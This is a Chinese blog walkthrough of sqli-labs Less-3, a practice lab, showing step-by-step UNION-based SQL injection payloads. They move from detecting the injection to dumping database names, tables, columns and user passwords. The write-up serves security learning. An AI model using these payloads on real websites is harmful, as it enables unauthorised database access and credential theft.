CTF-Web安全WEB渗透与网络安全信息安全

sqli-labs Less-3

2020-04-02  本文已影响0人  LonelySong

1.判断注入类型

index.php?id=1'

从这里可以猜出Less-3为单引号括号')的字符型注入,下面我们可以验证一下。

index.php?id=1') --+

2.猜字段数

index.php?id=1') order by 4 --+
index.php?id=1') order by 3 --+

order by 4时报错,order by 3时显示正常,说明当前数据库当前表存在3个字段。

3.使用联合查询查看页面的显示位

index.php?id=-1') union select 1,2,3 --+

这里需要注意的是id需要是一个数据库中不存在的id,因为只有这样,页面才会显示我们后面联合查询的数据。我们可以看到2,3被显示在了页面上。

4.爆出数据库版本和当前数据库名

index.php?id=-1') union select 1,version(),database() --+

5.爆出所有数据库

index.php?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+

6.爆出当前数据库所有表

index.php?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

7.查询当前数据库users表所有字段

index.php?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

8.查询数据

index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
上一篇下一篇

猜你喜欢

热点阅读